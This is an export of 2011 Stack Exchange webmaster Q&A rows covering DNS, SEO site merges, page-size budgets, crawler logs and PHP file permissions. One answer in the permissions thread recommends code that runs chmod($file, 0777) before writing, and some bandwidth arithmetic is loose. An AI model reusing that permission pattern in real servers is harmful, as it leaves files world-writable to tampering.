  <row Id="38768" PostHistoryTypeId="2" PostId="16291" RevisionGUID="b0930bbf-41e8-4808-a687-160a33449826" CreationDate="2011-07-01T14:33:21.943" UserId="7105" Text="I run a product recommendation engine and I'm hitting a few snags.  I'm looking to see if anyone has any recommendations on what I should do to minimize these issues.&#xD;&#xA;&#xD;&#xA;Here's how the site works:&#xD;&#xA;&#xD;&#xA;Users come to the site and are presented with product recommendations based on some criteria.  If a user knows of a product that is not in our system, they can add it by providing the product name and manufacturer.  We take that information, and:&#xD;&#xA;&#xD;&#xA;1. Hit one API to gather all the product meta-data (and to validate the product spelling, etc).  If the product is not in this first API, we do not allow it in our system.  &#xD;&#xA;2. Use the information from step 1 to hit another API for pricing information (gathered from many places online).&#xD;&#xA;&#xD;&#xA;For the sake of discussion, assume that I am searching both APIs in the most efficient/successful manner possible.&#xD;&#xA;&#xD;&#xA;For the most part, this works very well.  I'd say ~80% of our data is perfectly accurate, but there are a few issues:&#xD;&#xA;&#xD;&#xA;1. Sometimes the pricing API (Step 2) doesn't have any information for the product.  The way the pricing API is built, it will always return *something* (theoretically, the closest possible match), and there's no guarantee that the product name is spelled exactly the same way in both APIs, so there's no automated way of knowing if it's the right product.&#xD;&#xA;2. When the pricing API finds the right product, occasionally it has outdated, or even invalid pricing data (e.g. if it screen-scraped the wrong price from a website).&#xD;&#xA;&#xD;&#xA;Since the site was fairly small at first, I was able to manually verify every product that was added to the website.  However, the site has grown to the point where this is taking several hours per day, and is just not efficient use of my time.&#xD;&#xA;&#xD;&#xA;So, my question is:&#xD;&#xA;&#xD;&#xA;Aside from hiring someone (or getting an intern) to validate all the data manually, what would be the best system of letting my userbase self-manage the data.  Specifically, how can I allow users to edit the data while minimizing the risk of someone ambushing my website, or accidentally setting the data incorrectly.&#xD;&#xA;" />
  <row Id="38769" PostHistoryTypeId="1" PostId="16291" RevisionGUID="b0930bbf-41e8-4808-a687-160a33449826" CreationDate="2011-07-01T14:33:21.943" UserId="7105" Text="Best way to implement user-powered data validation" />
  <row Id="38770" PostHistoryTypeId="3" PostId="16291" RevisionGUID="b0930bbf-41e8-4808-a687-160a33449826" CreationDate="2011-07-01T14:33:21.943" UserId="7105" Text="&lt;api&gt;&lt;data&gt;&lt;user-input&gt;&lt;user-generated-content&gt;" />
  <row Id="38771" PostHistoryTypeId="2" PostId="16292" RevisionGUID="6edfa7e8-9a90-4e22-a200-da51ccc63dc1" CreationDate="2011-07-01T14:43:07.333" UserId="1643" Text="Make it a game where people get points for fixing the data (checking that the pricing APIs product is the same, isn't invalid etc.)&#xD;&#xA;&#xD;&#xA;People with low points don't get awarded them until a number of other users have fixed the data in the same way. As people get more points it needs fewer other people to crosscheck them, until people with very high points don't need checking at all. So it's a bit like reputation on this and the other stackexchange sites.&#xD;&#xA;&#xD;&#xA;You could reward those with points with tangible things, like discounts on products, early notifications of good deals and so on. You don't want to make those too large, or it's worth them gaming the system and making lots of money." />
  <row Id="38772" PostHistoryTypeId="2" PostId="16293" RevisionGUID="ff7e229a-0bcc-4608-8e9f-2961c92a59d7" CreationDate="2011-07-01T15:09:10.827" UserId="1643" Text="I've just been wrestling with an htaccess problem with a ? in the URL. The ? is not technically part of the filename, but a query string. I wouldn't be surprised if it doesn't get passed to FilesMatch.&#xD;&#xA;&#xD;&#xA;The thing that I used was&#xD;&#xA;&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^something$&#xD;&#xA;&#xD;&#xA;Obviously you're not doing rewriting, but you could try and trap the `%{QUERY_STRING}`." />
  <row Id="38773" PostHistoryTypeId="5" PostId="16008" RevisionGUID="853d1d17-ab5d-450c-863d-a2de97a2410f" CreationDate="2011-07-01T15:15:07.430" UserId="8627" Comment="added 691 characters in body" Text="I would nearly always buy on lowest price, but service is important too, so...&#xD;&#xA;&#xD;&#xA;To analyze this, first of all, I will lay aside the really expensive registrars and also the really crappy services, both of which I would simply avoid, though others may have their reasons for choosing such services, I can see no point in paying 10 or 20 times the going rate for a domain, and neither can i see any point in saving mere pennies per year while sacrificing a decent registrar interface.&#xD;&#xA;&#xD;&#xA;So aside from those providers my reasons for paying more/less within the remainder of the playing field in my opinion would go like this:&#xD;&#xA;&#xD;&#xA;The two important things for me are A) quality/style/structure/capability etc of the domains control panel and B) provider support system. If I get a high quality control panel for my domains which has a fair bit of capability and this is backed up with quality support plus a decent help/knowledge base/community then I'd consider that worth extra money, how much really depends on how much time a person spends working with the domains and the capabilities they require ( dns zone, push etc )&#xD;&#xA;&#xD;&#xA;That's how it *should* work ! But I have to tell you that in my experience the cheaper providers often paradoxically give more in this regard, which is why I tend to just buy on price in the end, even though I would still pay more if I had to." />
  <row Id="38774" PostHistoryTypeId="17" PostId="16294" RevisionGUID="63635e7e-2d6e-4b0d-bae4-627725eb0c75" CreationDate="2011-07-01T15:23:21.390" UserId="-1" Comment="from http://stackoverflow.com/questions/6549887/suspicious-crawler-activity" Text="" />
  <row Id="38775" PostHistoryTypeId="17" PostId="16295" RevisionGUID="22ba347a-1d75-4276-80b4-8e7429639bc2" CreationDate="2011-07-01T15:23:21.390" UserId="-1" Comment="from http://stackoverflow.com/questions/6549887/suspicious-crawler-activity" Text="" />
  <row Id="38776" PostHistoryTypeId="17" PostId="16296" RevisionGUID="4121c428-85f9-4aca-8519-ec5808395fc5" CreationDate="2011-07-01T15:23:21.390" UserId="-1" Comment="from http://stackoverflow.com/questions/6549887/suspicious-crawler-activity" Text="" />
  <row Id="38777" PostHistoryTypeId="2" PostId="16295" RevisionGUID="556c6675-0c01-4358-be65-c074efe86651" CreationDate="2011-07-01T15:19:10.030" UserId="661" Text="Presumably because someone linked there once." />
  <row Id="38778" PostHistoryTypeId="2" PostId="16296" RevisionGUID="6dddd4fa-5fa0-42f6-8478-21c435e8c8c1" CreationDate="2011-07-01T15:20:57.240" UserDisplayName="Brian" Text="I don't know much about how those spiders work, but google is very sophisticated. It could be any number of reasons. My guess is googlebot is trying to establish some relationship between your site and one with those files. Maybe it suspects they are related, and is testing that out." />
  <row Id="38779" PostHistoryTypeId="2" PostId="16294" RevisionGUID="bae738e0-1ca2-4fe8-9822-a9aff5efff4f" CreationDate="2011-07-01T15:18:13.393" UserDisplayName="ithkuil" Text="I'm noticing that I get accesses &#xD;&#xA;&#xD;&#xA;    66.249.66.198 - - [01/Jul/2011:17:13:46 +0200] &quot;GET /img/clip.incubus.torrent.phtml HTTP/1.1&quot; 404 143 &quot;-&quot; &quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&quot;&#xD;&#xA;    66.249.66.198 - - [01/Jul/2011:17:13:48 +0200] &quot;GET /img/clip.global.deejays.download.phtml HTTP/1.1&quot; 404 143 &quot;-&quot; &quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;that files don't exist and there is no file on my site that has this content (I hope).&#xD;&#xA;&#xD;&#xA;Why is googlebot trying out these links?&#xD;&#xA;&#xD;&#xA;reverse dns and whois state that 66.249.66.198 is really googlebot.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38780" PostHistoryTypeId="1" PostId="16294" RevisionGUID="bae738e0-1ca2-4fe8-9822-a9aff5efff4f" CreationDate="2011-07-01T15:18:13.393" UserDisplayName="ithkuil" Text="suspicious crawler activity" />
  <row Id="38781" PostHistoryTypeId="3" PostId="16294" RevisionGUID="bae738e0-1ca2-4fe8-9822-a9aff5efff4f" CreationDate="2011-07-01T15:18:13.393" UserDisplayName="ithkuil" Text="&lt;security&gt;&lt;web&gt;&lt;google-crawlers&gt;" />
  <row Id="38782" PostHistoryTypeId="25" PostId="16294" RevisionGUID="9f3c1cd2-f916-4cba-af55-d4319856a709" CreationDate="2011-07-01T15:26:37.080" Comment="http://twitter.com/#!/StackWebmasters/status/86817989617385473" />
  <row Id="38783" PostHistoryTypeId="2" PostId="16297" RevisionGUID="539b14d4-04af-43cf-8935-209b47ceb19f" CreationDate="2011-07-01T15:31:40.473" UserId="5588" Text="Which comes first? DNS or nameservers?&#xD;&#xA;&#xD;&#xA;Its just I'm editing a domain and want to point it to different hosting servers. Now, normally I'd just set the nameservers to the new hosting nameservers, but this doesn't seem to be working (the control panels not brilliant - doesn't say &quot;accepted&quot; or &quot;success&quot; - and whois searches are turning up nothing - although I should leave it a while longer).&#xD;&#xA;&#xD;&#xA;Anyway - the point is, in the DNS records there are two A records (one for &quot; &quot; and one for &quot;www&quot;) which have an ip address associated with them.&#xD;&#xA;&#xD;&#xA;So this is what I don't understand. If I change the nameservers, do I have to remove the DNS records? Will name servers &quot;overwrite&quot; a DNS record? Or vice versa?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="38784" PostHistoryTypeId="1" PostId="16297" RevisionGUID="539b14d4-04af-43cf-8935-209b47ceb19f" CreationDate="2011-07-01T15:31:40.473" UserId="5588" Text="Which comes first DNS or name servers?" />
  <row Id="38785" PostHistoryTypeId="3" PostId="16297" RevisionGUID="539b14d4-04af-43cf-8935-209b47ceb19f" CreationDate="2011-07-01T15:31:40.473" UserId="5588" Text="&lt;dns&gt;&lt;nameserver&gt;" />
  <row Id="38786" PostHistoryTypeId="2" PostId="16298" RevisionGUID="a09cb656-69d1-41ff-8790-e641f671360f" CreationDate="2011-07-01T15:35:50.947" UserId="1643" Text="Nameservers comes first. The browser asks who knows about domain.com and the answer comes back with the nameservers that the domain is configured with. Then those nameservers are asked about DNS information for domain.com and www.domain.com and they return the IP.&#xD;&#xA;&#xD;&#xA;So if it's not working then the problem is with the DNS records for the new hosting nameservers. Or else it just needs time for the change in nameservers to propagate." />
  <row Id="38787" PostHistoryTypeId="5" PostId="16298" RevisionGUID="84ba3833-0f31-4a59-ba5d-711ec131014c" CreationDate="2011-07-01T15:46:47.313" UserId="1643" Comment="added 20 characters in body" Text="Nameservers comes first. The browser asks who knows about domain.com and the answer comes back with the nameservers that the domain is configured with (via the registrar). Then those nameservers are asked about DNS information for domain.com and www.domain.com and they return the IP.&#xD;&#xA;&#xD;&#xA;So if it's not working then the problem is with the DNS records for the new hosting nameservers. Or else it just needs time for the change in nameservers to propagate." />
  <row Id="38788" PostHistoryTypeId="2" PostId="16299" RevisionGUID="9c4ffc3b-ef24-4e21-baba-63e544b602cc" CreationDate="2011-07-01T15:56:46.220" UserId="831" Text="[Posted this on SO][1] before Ben Voigt was nice enough to direct me here.  Anywho, here is my question:&#xD;&#xA;&#xD;&#xA;When I say size I'm talking about bytes not pixels.&#xD;&#xA;&#xD;&#xA;I'm curious if there is any consensus on what the maximum size should be for various categories. Specifically:&#xD;&#xA;&#xD;&#xA;    Broadband connections&#xD;&#xA;    Dialup connections&#xD;&#xA;    Mobile connections&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/6430374/is-there-a-maximum-size-that-web-pages-should-be-kept-under" />
  <row Id="38789" PostHistoryTypeId="1" PostId="16299" RevisionGUID="9c4ffc3b-ef24-4e21-baba-63e544b602cc" CreationDate="2011-07-01T15:56:46.220" UserId="831" Text="Is there a maximum size that web pages should be kept under?" />
  <row Id="38790" PostHistoryTypeId="3" PostId="16299" RevisionGUID="9c4ffc3b-ef24-4e21-baba-63e544b602cc" CreationDate="2011-07-01T15:56:46.220" UserId="831" Text="&lt;performance&gt;&lt;page-size&gt;" />
  <row Id="38791" PostHistoryTypeId="2" PostId="16300" RevisionGUID="ee304cd0-de9f-4a8a-be5b-a92872a10c6f" CreationDate="2011-07-01T16:08:54.267" UserId="1643" Text="The first question is how long is too long for the user to wait. Let's use 1.5 seconds, because that's what Google judges as too slow (see [this question][1]). So assuming a dialup user gets the maximum 56kbits/second, that's 5.6 kbytes (roughly) so that's 8.4kb. That's pretty small.&#xD;&#xA;&#xD;&#xA;Broadband speeds vary, but assuming 1Mb for the sake of argument, that's 150k (1Mbit/second remember).&#xD;&#xA;&#xD;&#xA;Mobile varies again. 2G (GPRS) is the same as dialup. EDGE is 236.8 kbit/s so thats 35k. &#xD;&#xA;3G UMTS is 384 kbit/s, so 57k.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/15786/google-webmaster-tools-site-performance-says-site-is-faster-but-shows-it-slow-in" />
  <row Id="38792" PostHistoryTypeId="2" PostId="16301" RevisionGUID="5f7bbf4a-4ae2-4322-ade1-671050bb6dd0" CreationDate="2011-07-01T16:28:24.957" UserId="8354" Text="1. If domain name is new (you recently bought it) then Google may still try to get old URLs (not because it remembers those links (it will de-index such not-working-for-a-long-time links) but because there is still a site that has links to this domain)&#xD;&#xA;&#xD;&#xA;2. Wherever those links were published there maybe a typo in URL (domain name) and they are pointing to your domain (e.g. `hellokitten.com` instead of `hellkitten.com`).&#xD;&#xA;&#xD;&#xA;3. I very doubt that it is Google checking for malware using SO many different URLs which look very similarly.&#xD;&#xA;&#xD;&#xA;4. The URLs you showed so far suggest they are probably related to a torrent site. As we know Google does not like torrent sites any more. Maybe it had some suspicion (don't know what it may be) and checks your site for some common URLs that it founds on other sites." />
  <row Id="38793" PostHistoryTypeId="17" PostId="16302" RevisionGUID="10649340-6f48-429d-8e4c-a9fe30b09067" CreationDate="2011-07-01T17:25:12.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6550333/move-websites-without-lose-seo" Text="" />
  <row Id="38794" PostHistoryTypeId="2" PostId="16302" RevisionGUID="f1ba8ab3-88ed-4f16-bfc8-9f08fabfb2b2" CreationDate="2011-07-01T16:00:00.073" UserDisplayName="Nuno" Text="I have one company with 5 business areas. Each business area have a website. Recently we decided to have all these websites merged into one website, the group website. &#xD;&#xA;&#xD;&#xA;What is the best way to move these websites without loosing the SEO and page ranks?&#xD;&#xA;&#xD;&#xA;What do you think about our decision? We believe that if we have just one website covering five business areas, it will circulate and have more traffic than we have at this moment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38795" PostHistoryTypeId="1" PostId="16302" RevisionGUID="f1ba8ab3-88ed-4f16-bfc8-9f08fabfb2b2" CreationDate="2011-07-01T16:00:00.073" UserDisplayName="Nuno" Text="Move websites without lose SEO" />
  <row Id="38796" PostHistoryTypeId="3" PostId="16302" RevisionGUID="f1ba8ab3-88ed-4f16-bfc8-9f08fabfb2b2" CreationDate="2011-07-01T16:00:00.073" UserDisplayName="Nuno" Text="&lt;seo&gt;" />
  <row Id="38797" PostHistoryTypeId="2" PostId="16303" RevisionGUID="00aef2ef-a05e-47c8-b9da-be1a4fb05235" CreationDate="2011-07-01T17:39:31.937" UserId="1253" Text="**Having one website pros**:&#xD;&#xA;&#xD;&#xA;- Easier site maintenance since everything is all in one code base&#xD;&#xA;- Allows your users to find all of your services easily since they are presented together&#xD;&#xA;- You can create a natural hierarchy in your website which helps promote the top level pages&#xD;&#xA;- Cross-linking your inner pages is easier&#xD;&#xA;- Statistics can be all in one place&#xD;&#xA;&#xD;&#xA;**Having one website cons:**&#xD;&#xA;&#xD;&#xA;- Only one domain name to get keywords in&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Having multiple website pros:**&#xD;&#xA;&#xD;&#xA;- Each domain name can be keyword rich for the product or service&#xD;&#xA;- Each website is focused on one topic which offers less opportunity for confusion or distraction&#xD;&#xA;&#xD;&#xA;**Having multiple website cons:**&#xD;&#xA;&#xD;&#xA;- You have five code bases to manage. Even if they are virtually the same keeping them synchronized can be a pain in the butt.&#xD;&#xA;- If you want to promote your other websites you run the risk of duplicate content if the text is the same across websites&#xD;&#xA;&#xD;&#xA;**Non-factors:**&#xD;&#xA;&#xD;&#xA;- The content isn't going to change&#xD;&#xA;- The page titles won't change (except for possibly the website tag line at the end of the title)&#xD;&#xA;- Some will say that multiple domains is better because of &quot;trust&quot; or other link benefits. In reality it doesn't change much. &#xD;&#xA;&#xD;&#xA;**Misc:**&#xD;&#xA;&#xD;&#xA; - If you do go with one website make sure you do 301 redirects from the old URLs to the new URLs. That way both users and search engines know where the content has moved to. This is especially important for SEO since most of your link juice is transferred with 301 redirects. If you don't do the 301 redirects you will essentially be starting from scratch.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38798" PostHistoryTypeId="5" PostId="16303" RevisionGUID="3986cb0a-9554-4115-acee-77b3647a1395" CreationDate="2011-07-01T17:45:26.627" UserId="1253" Comment="added 130 characters in body" Text="**Having one website pros**:&#xD;&#xA;&#xD;&#xA;- Easier site maintenance since everything is all in one code base&#xD;&#xA;- Allows your users to find all of your services easily since they are presented together&#xD;&#xA;- You can create a natural hierarchy in your website which helps promote the top level pages&#xD;&#xA;- Cross-linking your inner pages is easier&#xD;&#xA;- Statistics can be all in one place&#xD;&#xA;- Cross-selling is easier since the user never has to leave your site&#xD;&#xA;&#xD;&#xA;**Having one website cons:**&#xD;&#xA;&#xD;&#xA;- Only one domain name to get keywords in&#xD;&#xA;- If for some reason this site gets banned then all of your content is down&#xD;&#xA;&#xD;&#xA;**Having multiple website pros:**&#xD;&#xA;&#xD;&#xA;- Each domain name can be keyword rich for the product or service&#xD;&#xA;- Each website is focused on one topic which offers less opportunity for confusion or distraction&#xD;&#xA;- If one site is banned the others will be unaffected&#xD;&#xA;&#xD;&#xA;**Having multiple website cons:**&#xD;&#xA;&#xD;&#xA;- You have five code bases to manage. Even if they are virtually the same keeping them synchronized can be a pain in the butt.&#xD;&#xA;- If you want to promote your other websites you run the risk of duplicate content if the text is the same across websites&#xD;&#xA;&#xD;&#xA;**Non-factors:**&#xD;&#xA;&#xD;&#xA;- The content isn't going to change&#xD;&#xA;- The page titles won't change (except for possibly the website tag line at the end of the title)&#xD;&#xA;- Some will say that multiple domains is better because of &quot;trust&quot; or other link benefits. In reality it doesn't change much. &#xD;&#xA;&#xD;&#xA;**Misc:**&#xD;&#xA;&#xD;&#xA; - If you do go with one website make sure you do 301 redirects from the old URLs to the new URLs. That way both users and search engines know where the content has moved to. This is especially important for SEO since most of your link juice is transferred with 301 redirects. If you don't do the 301 redirects you will essentially be starting from scratch.&#xD;&#xA; - If pages will be going away after the merger redirect the user (with a 410 HTTP response) to a page that lets them know the page no longer exists and where they may find similar or other useful content on the new website&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38799" PostHistoryTypeId="2" PostId="16304" RevisionGUID="2a60dac9-8e32-443c-abc2-880314db1efd" CreationDate="2011-07-01T17:51:37.720" UserId="7159" Text="An oldies but a goodie - http://www.seomoz.org/blog/expectations-and-best-practices-for-moving-to-or-launching-a-new-domain&#xD;&#xA;&#xD;&#xA;One of the best things to do is to actively monitor 404 errors and continuously add 301 redirects to pages that were hit.  " />
  <row Id="38800" PostHistoryTypeId="6" PostId="16173" RevisionGUID="15040c47-8db6-4590-9a68-d79adb3560f6" CreationDate="2011-07-01T18:15:38.740" UserId="4502" Comment="Added title tag" Text="&lt;seo&gt;&lt;html&gt;&lt;title&gt;&lt;accessibility&gt;" />
  <row Id="38801" PostHistoryTypeId="25" PostId="16299" RevisionGUID="02229f64-985c-40dc-86a7-9df2be56f8a0" CreationDate="2011-07-01T18:26:36.703" Comment="http://twitter.com/#!/StackWebmasters/status/86863286280257536" />
  <row Id="38802" PostHistoryTypeId="2" PostId="16305" RevisionGUID="dc447989-9934-4aba-b66f-4e011fc283fc" CreationDate="2011-07-01T18:31:42.660" UserId="4502" Text="What exactly are you trying to accomplish? There's a pretty significant problem here in that regardless of the hosting service, most CMS applications by default won't let you put arbitrary code into the *content* anyway. It'll usually just get stripped on output. &#xD;&#xA;&#xD;&#xA;There are often ways to force it(eg. Wordpress' [Exec-PHP](http://wordpress.org/extend/plugins/exec-php/)), but it's highly unlikely any hosted service is going to offer you that, for basically the reasons in Nick's answer." />
  <row Id="38805" PostHistoryTypeId="2" PostId="16307" RevisionGUID="a92eee89-1c65-44a4-b96f-58325f61890a" CreationDate="2011-07-01T19:05:37.513" UserId="1253" Text="- Place a [Facebook &quot;Like&quot; button][1] on your key pages so users can share them on Facebook&#xD;&#xA;&#xD;&#xA;- Place a [retweet button][2] on your key pages so users can tweet about them&#xD;&#xA;&#xD;&#xA;- Put a [Google +1][3] button on your pages so people in your network can see you like those pages&#xD;&#xA;&#xD;&#xA;- If you publish content on a regular basis offer an RSS feed of that content&#xD;&#xA;&#xD;&#xA;- If your content allows for it, offer other webmasters the opportunity to [place a widget provided by you on their website][4]. This will get both users to visit your site and a backlink from that site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developers.facebook.com/docs/reference/plugins/like/&#xD;&#xA;  [2]: http://tweetmeme.com/about/retweet_button&#xD;&#xA;  [3]: http://www.google.com/+1/button/&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/questions/12384/how-good-is-it-for-seo-if-you-have-a-widget-that-lives-on-other-sites/12385#12385" />
  <row Id="38808" PostHistoryTypeId="2" PostId="16309" RevisionGUID="a489b19a-d986-4b56-a07b-464fdcfd00b1" CreationDate="2011-07-01T19:34:44.363" UserId="1240" Text="Do you mean runnable PHP? If so then no, I don't think their are any, and if they did I would not be recommending them.&#xD;&#xA;&#xD;&#xA;If you mean so you can do something like;&#xD;&#xA;&#xD;&#xA;    $x = 5;&#xD;&#xA;    echo $x&#xD;&#xA;&#xD;&#xA;Then most will come with at the very least code for using the `&lt;pre&gt;` tag and if not Wordpress has several plugins that will do this and will work on the free install." />
  <row Id="38809" PostHistoryTypeId="2" PostId="16310" RevisionGUID="1d9a06ce-bae5-4a6f-b7eb-35c2582f6323" CreationDate="2011-07-01T19:42:02.657" UserId="1240" Text="I would give http://www.teamworkpm.net/ a go, it is project management software but I think it will tick off all your needs." />
  <row Id="38810" PostHistoryTypeId="25" PostId="16284" RevisionGUID="9813a64d-66f0-4392-86d7-d1e752dc9845" CreationDate="2011-07-01T21:26:37.490" Comment="http://twitter.com/#!/StackWebmasters/status/86908589003907072" />
  <row Id="38811" PostHistoryTypeId="2" PostId="16311" RevisionGUID="8894d573-a78d-4478-aa2c-1d793c75c91e" CreationDate="2011-07-01T23:18:00.017" UserId="8744" Text="We're trying to paint our site with the correct Schema.org information, and we're getting the following error:&#xD;&#xA;&#xD;&#xA;http://www.google.com/webmasters/tools/richsnippets?url=http%3A%2F%2Fwww.hark.com%2Fclips%2Fskyqpngffn-you-see-what-happens-larry&amp;view=cse&#xD;&#xA;&#xD;&#xA;     The following errors were found during preview generation:&#xD;&#xA;     &#xD;&#xA;     Insufficient data to generate the preview.&#xD;&#xA;&#xD;&#xA;I think the only thing missing would be the actual media URL but we're not able to offer that due to the way our streams are generated. Is there another option?" />
  <row Id="38812" PostHistoryTypeId="1" PostId="16311" RevisionGUID="8894d573-a78d-4478-aa2c-1d793c75c91e" CreationDate="2011-07-01T23:18:00.017" UserId="8744" Text="What's Required for the AudioObject in Schema.org" />
  <row Id="38813" PostHistoryTypeId="3" PostId="16311" RevisionGUID="8894d573-a78d-4478-aa2c-1d793c75c91e" CreationDate="2011-07-01T23:18:00.017" UserId="8744" Text="&lt;sitemap&gt;&lt;audio&gt;" />
  <row Id="38814" PostHistoryTypeId="25" PostId="16302" RevisionGUID="3fc56aa5-2cb5-49fc-8a88-3d2543ca4fd6" CreationDate="2011-07-02T00:26:39.167" Comment="http://twitter.com/#!/StackWebmasters/status/86953893841473536" />
  <row Id="38818" PostHistoryTypeId="17" PostId="16312" RevisionGUID="06109c11-e7bb-48b7-b962-1649045de8b4" CreationDate="2011-07-02T02:37:48.470" UserId="-1" Comment="from http://stackoverflow.com/questions/6496329/php-permissions" Text="" />
  <row Id="38819" PostHistoryTypeId="17" PostId="16313" RevisionGUID="03b1f4ec-f305-4927-afdd-39781134a9d7" CreationDate="2011-07-02T02:37:48.470" UserId="-1" Comment="from http://stackoverflow.com/questions/6496329/php-permissions" Text="" />
  <row Id="38820" PostHistoryTypeId="17" PostId="16314" RevisionGUID="429ad70e-5b23-4604-b1ee-8633c4295f22" CreationDate="2011-07-02T02:37:48.470" UserId="-1" Comment="from http://stackoverflow.com/questions/6496329/php-permissions" Text="" />
  <row Id="38821" PostHistoryTypeId="17" PostId="16315" RevisionGUID="548e7b3d-fc81-40f3-b9e1-2b6f660d27db" CreationDate="2011-07-02T02:37:48.470" UserId="-1" Comment="from http://stackoverflow.com/questions/6496329/php-permissions" Text="" />
  <row Id="38822" PostHistoryTypeId="2" PostId="16313" RevisionGUID="77243ce9-f03e-4c73-beb2-0f4d3892d52d" CreationDate="2011-06-27T17:07:12.050" UserDisplayName="George Cummins" Text="You may be confusing the roles of PHP and the file system. PHP does not have read, write, or executable permissions. Those are handled by the underlying filesystem (ext4, NTFS, etc).&#xD;&#xA;&#xD;&#xA;You can use PHP functions such as [is_writable()][1] and [is_readable()][2] to determine the permissions of a given file, and [chmod()][3] to change them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/is_writable&#xD;&#xA;  [2]: http://php.net/is_readable&#xD;&#xA;  [3]: http://php.net/chmod" />
  <row Id="38823" PostHistoryTypeId="2" PostId="16315" RevisionGUID="cfd169c8-bd3f-4173-bbad-4ad98206980d" CreationDate="2011-06-27T17:13:35.480" UserDisplayName="David Conde" Text="Basically most functions / methods attempting to write to a file in PHP should have an idea like this:&#xD;&#xA;&#xD;&#xA;    function writeSomething( $file )&#xD;&#xA;    {&#xD;&#xA;        if ( !is_writable( $file ) )&#xD;&#xA;        {&#xD;&#xA;            // attempt to make it writable&#xD;&#xA;            if ( !chmod($file, 0777) )&#xD;&#xA;            {&#xD;&#xA;                // could not make file writable&#xD;&#xA;                // log the error....&#xD;&#xA;                return false;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        // perform the writing here..&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Is a good idea to make sure that you can access the file before attempting to do it because it's always better to show the user a custom error like &quot;There was a problem&quot; than showing a classic PHP error like **&quot;Unable to write to file...&quot;** or something...&#xD;&#xA;&#xD;&#xA;Hope I can help!" />
  <row Id="38824" PostHistoryTypeId="2" PostId="16314" RevisionGUID="52fe8601-141d-477c-b028-a47e61e686a8" CreationDate="2011-06-27T17:07:27.730" UserDisplayName="Evgeniy" Text="Try to use chmod function&#xD;&#xA;http://ua2.php.net/manual/en/function.chmod.php" />
  <row Id="38825" PostHistoryTypeId="2" PostId="16312" RevisionGUID="410c9059-9956-485f-a6b3-e47dc1ddc8e3" CreationDate="2011-06-27T17:03:58.697" UserId="4613" Text="**Can someone please explain best practice for permissions with PHP.**  &#xD;&#xA;What case should something be writable, executable, what owner is best, etc. ?&#xD;&#xA;&#xD;&#xA;Using an apache server&#xD;&#xA;&#xD;&#xA;Moved to http://webmasters.stackexchange.com/questions/16032/php-permissions" />
  <row Id="38826" PostHistoryTypeId="1" PostId="16312" RevisionGUID="410c9059-9956-485f-a6b3-e47dc1ddc8e3" CreationDate="2011-06-27T17:03:58.697" UserId="4613" Text="PHP permissions" />
  <row Id="38827" PostHistoryTypeId="3" PostId="16312" RevisionGUID="410c9059-9956-485f-a6b3-e47dc1ddc8e3" CreationDate="2011-06-27T17:03:58.697" UserId="4613" Text="&lt;php&gt;" />
  <row Id="38828" PostHistoryTypeId="25" PostId="16311" RevisionGUID="60b8ac4c-7d16-48d3-917d-ff5bc877013f" CreationDate="2011-07-02T03:26:38.487" Comment="http://twitter.com/#!/StackWebmasters/status/86999191045406721" />
  <row Id="38846" PostHistoryTypeId="2" PostId="16319" RevisionGUID="2271ffb7-84bc-4c49-8720-bcaabc2f5c1b" CreationDate="2011-07-02T05:20:56.373" UserId="8750" Text="I think in your case, you might be missing an entry in your DNS Zone.&#xD;&#xA;&#xD;&#xA;    CNAME (Alias)&#xD;&#xA;    Host Record            Points to&#xD;&#xA;    www                    foobar.com&#xD;&#xA;&#xD;&#xA;This will point the &quot;virtual subdomain&quot; www to the root directory @ `foobar.com/`&#xD;&#xA;&#xD;&#xA;Since the ages, everyone has pointed www to the same html root directory. In this case, the www is not seen as a valid directory `html_dir/www` and thus, returns the error.&#xD;&#xA;&#xD;&#xA;After doing this, you can then place a .htaccess file to either drop the www or keep it around. Which is best is up to debate but I choose to drop it.&#xD;&#xA;&#xD;&#xA;Now if you do not have accsees to change the DNS or want a quick and dirty hack: &#xD;&#xA;&#xD;&#xA;Since the request actually looks for the .htaccess first, before replying a 404, you can actually also just write an .htaccess file to accept the request and display the content in your root directory as Sinan describes." />
  <row Id="38847" PostHistoryTypeId="25" PostId="16297" RevisionGUID="d76ebbb5-cff5-4839-b148-c553fd4752bd" CreationDate="2011-07-02T06:26:39.713" Comment="http://twitter.com/#!/StackWebmasters/status/87044494616313856" />
  <row Id="38848" PostHistoryTypeId="17" PostId="16320" RevisionGUID="0d56d615-8cc6-4bb5-be41-b9fcb1e62bd2" CreationDate="2011-07-02T07:45:14.980" UserId="-1" Comment="from http://stackoverflow.com/questions/6546773/wordpress-blog-in-subdirectory-of-asp-net-webforms-application" Text="" />
